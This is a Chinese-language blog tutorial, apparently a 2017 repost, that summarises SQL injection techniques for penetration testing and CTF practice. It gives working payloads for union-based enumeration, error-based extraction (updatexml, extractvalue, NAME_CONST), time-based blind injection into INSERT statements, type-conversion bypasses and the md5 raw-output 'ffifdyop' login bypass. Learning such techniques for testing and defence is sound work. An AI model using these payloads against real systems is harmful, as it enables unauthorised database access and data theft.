SQL注入的常规思路及奇葩技巧

最近在看《SQL注入攻击与防御》这本书,看了之后感觉自己之前的视野和格局还是太小了些。SQLi的应用特别广泛,多种web数据库不说,移动安卓端也存在通用的SQLi。而从语言的角度来看~PHP/JAVA/PYTHON/C#等等~都可以与SQLi联系起来,由语言特性而衍生的SQLi种类。最近还听说Javascript也能写后端了,着实把我高兴坏了,看来PHP这“世界上最好的语言”的称号,要换主了~ 同是弱类型语言,这俩哥们怕是要一绝“高低”。

废话说到这里,由于SQLi体系扩展还没有完成,所以在这里算是总结一下之前学到的一些东西和技巧,希望能对大家有用。

一、 常规思路

这里是我自己用的一些常规的测试并利用流程,如有疑问,欢迎讨论:

数据回显注入

  1. 针对可疑的注入点进行测试,测试方式根据数据库类型的不同也有所不同: SQLi备忘录:http://pentestmonkey.net/category/cheat-sheet/sql-injection 这位国外大牛收集了7种数据库的测试备忘录,非常全~
  2. 测试源语句查询字段数 使用order by 语法,确定字段数。这个语句的意思是按照第n列排序,若order by 8正常,order by 9报错的话就表示原查询语句查询结果为9列。
  3. 确定显示位 可以先尝试用select 1,2,3,4,5……,n#来检测,然后直接找相应数字出现的位置即可。之后的查询语句,最好用@或者NULL,类似 select @,@,@# select NULL,NULL,NULL# 可以保证不会因为数据类型不匹配而测试失败; PS:union 查询需要保证前后两个语句的查询列数相同,以及数据类型相同或相似。前者可以通过order by和其它姿势探测,后者使用NULL、@来避免。
  4. 查询数据库名 SELECT group_concat(schema_name) FROM information_schema.schemata 这里及以下的代码只是一个基本思路,可以在这个的基础上去变形、扩展。
  5. 查询表名 select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’
  6. 查询列名 Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’
  7. 爆数据 Select group_concat(column_name) from table_name; 报错注入
  8. group by 报错原理 http://www.jinglingshu.org/?p=4507 语法 `and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);`
  9. ExtractValue 报错原理 http://wt7315.blog.51cto.com/10319657/1891458 语法 `and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));`
  10. UpdateXml 报错原理 http://wt7315.blog.51cto.com/10319657/1891458 语法 `and 1=(updatexml(1,concat(0x3a,(select user())),1))`
  11. NAME_CONST 报错原理 http://www.2cto.com/article/201203/121491.html 语法 `and+1=(select+*+from+(select+NAME_CONST(PAYLOAD,1),NAME_CONST(PAYLOAD,1))+as+x)`
  12. join 原理 http://www.jinglingshu.org/?p=4507 语法 `select * from(select * from mysql.user a join mysql.user b using(Host))c;(爆列名贼好用)` 时间盲注和布尔盲注 这个比较灵活,我遇到的案例也很少,只能介绍些常用的小技巧: 盲注比较方法 运算符比较 'abc'>'abd' 为TRUE hint:字母间比较为按照字母表顺序进行,字母与非字母字符之间则按照ascii码进行比较,所以可以通过0x5b-0x60中的一个非字母字符,来判断字母的大小写。 函数 ascii() greatest() 返回参数中最大的数 时间盲注函数 sleep() benchmark() select id(条件,sleep(10),false); select CASE WHEN 1=1 THEN true ELSE flase END 奇葩技巧

类型转换绕过

原理如下:

为什么查询password=0的数据时会将这些内容输出出来呢? 原因是mysql内在对比的时候进行了类型的转换,而字符串在转换为数字时,只会保留根据字符串开头的数字,如果第一位为字母而不是数字,则转换为0,而’9hehehehe’会被转换为9。 但这个技巧不能直接在实战中应用,因为真实代码中类似以下代码: select username,password from user where username = '$username' and password = '$password'; 变量用单引号括了起来,这样一来我们输入的数字0就会被转换为字符串0; 那怎么利用呢?用算术运算符,位运算符或者比较运算符。 可以看这个: Mysql中的运算符集合 以加法举例,使用方式为: ‘+’, 拼接到SQL后的语句:where username=’’+’’ 即将单引号闭合后进行字符串相加,也就自然转换为了数字。 其它运算符的使用也是想通的。

md5注入

可能有时会遇到这样的注入语句: $sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'"; 用户名定死,再对输入进行md5编码,这样好像就没办法注入了。但其实不然,因为当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or'<trash> 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。 详情可以看这个md5第二个参数带来的安全问题

Updata 和 Insert注入

当注入点为Updata 或 Insert,并且不能通过堆叠注入构造自己新的注入语句的时候,仍有以下三种方式可以获取数据:

1. 闭合后构造

假设有以下注入语句: insert into users values (17,'注入点', 'bond'); 若第一个参数可控,则可以将注入点闭合后,在后面使用不被单引号闭合的select语句,将查询结果插入表中,然后再想办法通过正常途径查看。

2. 数字相加

还是这个注入语句 insert into users values (17,'join', '注入点'); 只是注入点变为了第二个,这样的话,就不能同闭合直接构造。但可以通过把想要获取的数据转换为数字,然后与原字符串相加,获取数字后再还原回来。 和上面的类型转换知识点相似,’sdasdsad’+1 = 1 具体构造过程可以看安全客上的一篇文章 一种新的MySQL下Update、Insert注入方法 最后的注入结果: insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);

3. 构造错误

对于非SELECT注入,如果成功执行的话会修改数据库数据。实战过程中不但会破坏数据库结构(白帽子挖洞的时候很可能因为这个违法),还容易引起管理员注意。所以在不让SQL语句正常执行的情况下获取数据是最好的方法。 报错盲注就不多说了,看常规部分(本文上篇)的介绍就可以。 但大部分的网站是不会傻到让你看错误回显的。 这个时候就需要时间盲注了: 比如下列注入语句 INSERT INTO table 1 VALUES (‘注入点’); 向注入点注入 '+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + ' 整个语句就会变为 INSERT INTO table 1 VALUES (''+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + ''); 因为返回了多列数据,该insert语句并不会执行,但是内部的select语句和sleep函数会照常执行,这样一来,也就可以通过写脚本获取数据了。 其中+为字符串连接符,根据数据库类型不同,连接符也不同,加号为SQL里的连接符,在mysql中并不适用,这里只是举个例子。

SQL约束性攻击

上篇CTF文章好像说过,之后我又找到了一篇解释得更清楚的文章: 基于约束条件的SQL攻击 可以学习一波。 这种漏洞就属于数据库安全配置错误;有一篇文章是专门讲数据库安全配置的,想走运维以及CTF的web出题人(防止预期之外的解)可以看一下: MySQL安全配置

结束

除了以上的,还有一些东西,但有些是之前写过的,有些是还没有测试过的,这次就不发出来了。关于SQLi,正在总结一个各种姿势的思维导图,总结好了之后,希望大家前来赏光。

参考文献:

http://bobao.360.cn/learning/detail/3804.html http://bobao.360.cn/learning/detail/3758.html

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-07-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏猿人谷

mybatis调用视图和存储过程

    现在的项目是以Mybatis作为O/R映射框架,确实好用,也非常方便项目的开发。MyBatis支持普通sql的查询、视图的查询、存储过程调用,是一种非常...

32550
来自专栏分布式系统进阶

FBString分析与使用FBString简介

简单来说,使用了三层存储策略+内存分配策略+大小端支持,特别是配合使用 jemalloc, 减少磁盘碎片,加快并发下的分配速度和性能。

25720
来自专栏牛肉圆粉不加葱

Spark SQL Limit 介绍及优化

全局限制,最多返回 limitExpr 对应条 records。总是通过 IntegerLiteral#unapply(limitExpr: Expressio...

46520
来自专栏V站

Python的flask:models.py来创建mysql数据库

46160
来自专栏wym

手把手教你写linux系统下贪吃蛇(二)

创建线程后把第一篇用到的refresh()函数都删除,不然因为缓存区的原因产生乱码

24420
来自专栏zingpLiu

python【第十二篇下】操作MySQL数据库以及ORM之 sqlalchemy

  对象关系映射(英语:Object Relation Mapping,简称ORM,或O/RM,或O/R mapping),是一种程序技术,用于实现面向对象编程...

11410
来自专栏禹都一只猫博客

Python的flask:models.py来创建mysql数据库

21960
来自专栏芋道源码1024

数据库中间件 MyCAT源码分析——跨库两表Join

1. 概述 2. 主流程 3. ShareJoin 3.1 JoinParser 3.2 ShareJoin.processSQL(...) 3.3 Batc...

1.1K80
来自专栏Java进阶之路

IK分词器访问远程词典功能实现

IKAnalyzer是一个开源的,基于java语言开发的轻量级的中文分词工具包。从2006年12月推出1.0版开始,IKAnalyzer已经推出了3个大版本。最...

33620
来自专栏求教

哪位大神指点下

File "C:\Users\Administrator\AppData\Local\Programs\Python\Python36\lib\logging\...

11000

扫码关注云+社区

领取腾讯云代金券